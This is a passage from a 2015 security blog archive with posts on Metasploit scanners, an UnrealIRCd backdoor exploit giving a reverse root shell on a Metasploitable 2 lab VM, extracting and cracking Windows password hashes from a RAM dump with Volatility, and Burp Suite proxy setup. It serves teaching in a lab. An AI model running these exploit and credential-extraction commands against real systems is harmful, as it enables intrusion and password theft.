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Tuesday, December 22, 2015


1.    null is India's largest open security community. It is registered as a non-profit society in 2010 and has been active since even before that. null is about spreading information security awareness. Activites such as null Monthly Meets, null Humla, null Bachaav, null Puliya, null Job Portal are for the overall cause of spreading awareness on the evolving cyber threat.

2.  In my continued association with the community I had recently given a presentation on Hardware Trojans which is shared below for info.

Saturday, December 19, 2015

DICE-2015 : CLOUD FORENSICS : Digital Investigations Conference and Exhibition

DICE is the Digital Investigations Conference and Exhibition which is held annually in the Delhi/NCR region in India.It is the only Conference and Exhibition of its kind in all of South Asia. It is targeted towards Digital Investigations and Computer Forensics personnel. At this conference experts showcase best practices, case studies and experiences in dealing with both cyber and conventional crime and security incidents with the help of digital technologies. It is attended by law enforcement, government and corporate investigation professionals. I participated in the conference as a speaker on the topic CLOUD FORENSICS.The presentation brings out the primary challenges in the domain of Cloud Computing.

Few Pics from the conference sharing below :

Sunday, October 25, 2015

Kali Linux 2 : Putting SCANNERS at work

1.    In this post we get introduced to built in scanners that come preloaded with Metasploit in Kali Linux that let us search and recover service information from a single computer or an entire network.We assume the same setup of virtual machines as in my past post at


Exactly the same setup as I followed at the post at

Virtual Machine One,VM1  : Kali Linux 2 @
Virtual Machine Two,VM2 : Metasploitable 2 @

Machines pinging each other...please check before proceeding ahead

Using SCANNERS to gain info

To find scanners available in Kali Linux,just run “msfconsole” from Kali command prompt and then type “search scanner” at the prompt as below :

msf > search scanner

U get something like this as seen below which is actually trimmed shot as the complete out is pretty exhaustive.

nmap the metasploitable we did earlier and we get this screen as below :

Let’s focus on Port 22 ie Secure Shell (ssh) and thus search Metasploit for ssh scanners as follows :


At msf terminals type : search scanner/ssh
Click to ENLARGE
We see from above about six of them and in these there is one looking for version information ie the “auxiliary/scanner/ssh/ssh_version” module.Will use this to find the version info as follows :

- Type, “use auxiliary/scanner/ssh/ssh_version” at the terminal of msf
- Then type “show options
- set RHOSTS  
- Type “exploit” to run.

From above we see that the victim is running an SSH server and the software version is 
SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu


But the above comes with a exclamation too...if we run mysql version query,then too we get some result that's different as seen below :
Click to ENLARGE
The scan reveals that MySQL 5.0.51.a-3ubuntu5 is running as seen in the shot above.


Click to ENLARGE
Highlighted text “Login with msfadmin/msfadmin to get started”, actually gives login credentials on the Telnet page....these kinds of security holes actually exists in the real world..real web at so many web sites....


The above gives the SAAMBA version

Saturday, October 24, 2015

IRC Exploit tutorial to hack into ROOT shell : Metasploitable 2 - Kali LInux 2

1.  root is the user name that by default has access to all commands and files on a Linux or other Unix-like operating system. It is also referred to as the root account, root user and the superuser.For the hackers and cyber criminals,getting to root shell is the key to start doing the undesired.There are thousands of ways and options to get to this vide various exploits,tricks and hacks.In this post I give a step by step with screenshot guide to get to "root" of a Metasploitable machine from a Kali Linux machine.The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities.This would come handy for beginners in this domain.I have two virtual machines for this test including one Metasploitable and one Kali Linux.

Setting up the Virtual Machines

Firstly,we need to configure the host only adapter settings as shown below in the Virtual box.

Click on Network - Host only networks tab and then "Add host only adapter" as shown below :
Edit the settings of the Host only adapter
Configure the IP address to any range as you desire.I have set up as seen below :
Now I have configured my VM Kali as per the following settings shown :
The Metasploitable machine configured as seen below :
Checking PING between the two machines

Playing with the setup : Running tools and exploits

The first thing to do is to run an nmap scan and see what services are running.At the terminal window on your Kali system,type the following :

nmap -sS -Pn

In our the Metasploitable Machine IP is “-sS” switch in the above command asks nmap to perform a stealth scan. The “-Pn” tells nmap not to run a ping scan to see what systems are up
Running nmap command with the “-A” switch, will perform OS detection and try to determine service versions.Running the command wil give us a screen output something like as shown below : 

nmap -sS -Pn -A
There are also a lot of services running as seen above but the one in particular we are interested is an Unreal Internet Relay Chat (IRC) program as highlighted below.In the screenshot below we see the software version, in this case “Unreal IRC′′. Our next step is to use Metasploit to exploit the vulnerability.
Get to the Kali terminal and type msfconsole to get this screen as seen below : 
The basic sequence of exploiting a vulnerability goes as shown below :

- Picking an Exploit
- Setting Exploit Options
- Picking a Payload
- Setting Payload Options
- Running the Exploit
- Connecting to the Remote System

Going further now at the msf terminal type : use exploit/unix/irc/unreal_ircd_3281_backdoor
Next we need to set the RHOST as per the following terminal command:

RHOST IP address )
At the msf terminal,type “show payloads” to display all payloads that work with the exploit:
Now we will use the generic reverse shell. This will give us the terminal shell with the target when the exploit is finished.Type the following at the msf terminal:

set payload cmd/unix/reverse
Show options command further will give the current settings as configured :
So we see above LHOST remains to be configured and we configure it now as follows :

Running the show options command again shows the configured setup as desired : 
and now the final bullet...simply type : exploit at the msf terminal
and here you are...right at the terminal@root
Just make a directory for testing it at the victim Metasploitable machine.I have made by the name of anupam and we see the same at the second terminal window seen in the screenshot below :
...that's it guys...any questions...most welcome...

Thursday, October 22, 2015

segmentation fault Kali Linux 2.0 [solved]

Kali Linux 2.0,the well known Penetration testing distro contains a plethora for digital forensics tools and is widely used by ethical hacker community across the globe.It comes with over 650 tools pre-installed that help  perform tasks like network analysis, ethical hacking, load & crash testing etc. It is powered by Linux kernel 4.0 and has enhanced support for different graphics cards and desktop environments.However ,a small bug as I noticed running two regular commands as apt-get update and msfupdate. Used to get the segmentation fault error as seen below in the screen shot :

Resolved by running the following commands at terminal to open sources.list  file

root@kali:~# leafpad /etc/apt/sources.list

As the file opens, simply select all the existing content in the file and delete it.Further to it cut and paste the following lines in the file and save :  

# Regular repositories
deb sana main non-free contrib
deb sana/updates main contrib non-free
# Source repositories
deb-src sana main non-free contrib
deb-src sana/updates main contrib non-free

and now it should work just as it worked in my case as seen below :

Tuesday, October 20, 2015

MY Blog hits : 3,00,000 plus :-)

Exactly about a year back my blog got the 2,00,000th hit and today it is 3,00,000 plus. So I assume an ok traffic since technical blogs do not have the glamorous and mass factor associated....I got into blogging without knowing any thing about traffic and readers and then maintaining a blog when you are working also is at times difficult.This actually means the time you could have spent with your family is being spent on blogging.But then as we say "Purpose is the reason you journey and Passion is the fire that lights your way."...and so has been applicable to me.Simply the passion to study and share IT and experiment with tools and researches has been the force for my energies being put in here.Putting here some past shots and analytics ex Google :

20 Oct 2015

 05 Oct 2013

 02 Nov 2014


Increase over years

 Page  views by countries


Page-views by Browsers

 Page  views by Operating Systems

Sunday, October 04, 2015

Extracting Username/Passwords from RAM Dump : Volatility Framework makes it Easy

1.  For those of you who have started reading this post coz of the tempting post title claiming extracting username/passwords from a RAM Dump,I must assure you it is possible easily in few steps using Volatility Framework.In the post ahead I have a RAM dump of a Windows 7 OS and I have been able to extract the user names and passwords of these users in three simple steps using Volatility Framework.Well,I will quickly get to the steps with screenshots :

Setup Required

 - Volatility Framework Installed.
[How to Install at]

- Taking Ram Dump from Windows
[How to take RAM dump at para 3 of]

Here I am using two commands basically ie hivelist and hashdump


Hivelist is used to locate the virtual addresses of registry hives in memory, and the full paths to the corresponding hive on disk.

Command Usage

python --profile=Win7SP0x86 -f /home/cuckoo/Desktop/windows_7_ramdump.raw hivelist

You get a similar output as seen below :

Note Virtual Address for SYSTEM as highlighted

Note Virtual Address for SAM as highlighted


Hashdump is used to extract and decrypt cached domain credentials stored in the registry.

Command Usage

To use hashdump, pass the virtual address of the SYSTEM hive as -y and the virtual address of the SAM hive as -s, as shown below:

python --profile=Win7SP0x86 hashdump -f /home/cuckoo/Desktop/windows_7_ramdump.raw -y 0x8901a360 -s 0x8faff008

Hashdump output seen with user names and NTLM dump
As we see vide above screen shot we have been able to extract names of users as stalin,VOLA and TILITY with hash of passwords against their names.Now we will decrypt these hashes.


Now comes decrypting this hash as we have got vide hashdump above.Hashes can now be cracked using John the Ripper, rainbow tables, etc.Now no need to install these crackers separately.Simply google for online decryptos and you will get the password too.I used this site at

Screen shots below:

Password extracted is test_1234

Password extracted is test_123

Password extracted is test
So in all two terminal commands running volatility hivelist and hashdump followed by decrypting the hash online will give you the usernames and passwords from the RAM dump.Any queries and questions or advises are most welcome.Thanks

Thursday, October 01, 2015

Burp Suite : Configuring the browser and redirecting traffic

1.   Vide my last post about installing Burp Suite here ,now I move ahead to configure your browser in order to redirect all HTTP/S requests through Burp Proxy, instead of the actual target website. In my case here I am configuring a Mozilla Browser with proxy host address to and the proxy port to 8080 , for both HTTP and HTTPS.The typical configuring of browsers is more or less common with major browsers with minor differences in interfaces.Here next I place you screen shots as I surfed a redirected traffic both for http and https via Burp Suite.First steps to configure Mozilla followed by screen shots :

Configuring Mozilla Firefox

- Click Firefox menu and then Preferences.
- In the Advanced options, under the Network tab, click on connection Settings.
- Select Manual proxy configuration.
- Enter the proxy host address as and the proxy port as 8080.
- Select Use this proxy server for all protocols.
- Make sure to remove all exceptions from the No Proxy for field.
- Click OK and close.

2.   So now you have a working installation of Burp Suite and your browser is properly configured to intercept all requests.Now to test go to the browser, enter any http://www.****** site in the address bar and press Enter . If all is well, Burp Proxy should intercept this request. In Burp Suite,go to the Proxy and Intercept tab and verify that the web request is waiting for your approval.Ensure tha the Intercept on button is enabled; click on it and allow the request to transit through Burp by pressing Forward in Burp Suite Interface. Now in the browser, you should see the http page you entered in address bar.

Now try a https site and you are bound to see this warning as seen below in the screenshot.You will be presented with a This Connection is Untrusted page.In such a case, you are required to manually approve the connection by clicking on I Understand The Risks, then Add Exceptions... and Confirm Security Exception. To make sure that Burp Proxy is actually causing the warning, you click on the certificate status View... and see that the certificate belongs to PortSwigger CA as seen below in one screenshot.

 PortSwigger CA certificate

This setup means that Burp Suite is now ready for use as the traffic is being redirected as desired as per configuration....